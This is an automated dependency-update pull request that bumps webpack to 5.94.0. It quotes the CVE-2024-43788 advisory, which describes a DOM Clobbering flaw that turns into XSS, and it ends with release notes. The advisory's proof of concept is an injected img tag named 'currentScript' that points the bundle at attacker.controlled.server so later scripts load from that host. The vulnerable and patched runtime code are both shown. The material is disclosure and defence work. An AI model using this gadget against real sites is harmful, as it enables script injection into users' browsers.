chore: Update dependency webpack to v5.94.0 [SECURITY]

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This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
webpack	5.90.1 -> 5.94.0

GitHub Vulnerability Alerts

CVE-2024-43788

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

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Release Notes

webpack/webpack (webpack)

v5.94.0

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v5.93.0

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v5.92.1

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v5.92.0

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Bug Fixes

• Correct tidle range's comutation for module federation
• Consider runtime for pure expression dependency update hash
• Return value in the subtractRuntime function for runtime logic
• Fixed failed to resolve promise when eager import a dynamic cjs
• Avoid generation extra code for external modules when remapping is not required
• The css/global type now handles the exports name
• Avoid hashing for @keyframe and @property at-rules in css/global type
• Fixed mangle with destructuring for JSON modules
• The stats.hasWarnings() method now respects the ignoreWarnings option
• Fixed ArrayQueue iterator
• Correct behavior of __webpack_exports_info__.a.b.canMangle
• Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin
• Set the chunkLoading option to the import when environment is unknown and output is module
• Fixed when runtimeChunk has no exports when module chunkFormat used
• [CSS] Fixed parsing minimized CSS import
• [CSS] URLs in CSS files now have correct public path
• [CSS] The css module type should not allow parser to switch mode
• [Types] Improved context module types

New Features

• Added platform target properties to compiler
• Improved multi compiler cache location and validating it
• Support import attributes spec (with keyword)
• Support node: prefix for Node.js core modules in runtime code
• Support prefetch/preload for module chunk format
• Support "..." in the importsFields option for resolver
• Root module is less prone to be wrapped in IIFE
• Export InitFragment class for plugins
• Export compileBooleanMatcher util for plugins
• Export InputFileSystem and OutputFileSystem types
• [CSS] Support the esModule generator option for CSS modules
• [CSS] Support CSS when chunk format is module

v5.91.0

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Bug Fixes

• Deserializer for ignored modules doesn't crash
• Allow the unsafeCache option to be a proxy object
• Normalize the snapshot.unmanagedPaths option
• Fixed fs types
• Fixed resolve's plugins types
• Fixed wrongly calculate postOrderIndex
• Fixed watching types
• Output import attrbiutes/import assertions for external JS imports
• Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same
• [CSS] Output layer/supports/media for external CSS imports

New Features

• Allow to customize the stage of BannerPlugin
• [CSS] Support CSS exports convention
• [CSS] support CSS local ident name
• [CSS] Support __webpack_nonce__ for CSS chunks
• [CSS] Support fetchPriority for CSS chunks
• [CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)
• [CSS] Support prefetch/preload for CSS chunks

v5.90.3

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Bug Fixes

• don't mangle when destructuring a reexport
• types for Stats.toJson() and Stats.toString()
• many internal types
• [CSS] clean up export css local vars

Perf

• simplify and optimize chunk graph creation

v5.90.2

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Bug Fixes

• use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values
• the setStatus() of the HMR module should not return an array, which may cause infinite recursion
• __webpack_exports_info__.xxx.canMangle shouldn't always same as default
• mangle export with destructuring
• use new runtime to reconsider skipped connections activeState
• make dynamic import optional in try/catch
• improve auto publicPath detection

Dependencies & Maintenance

• improve CI setup and include Node.js@21

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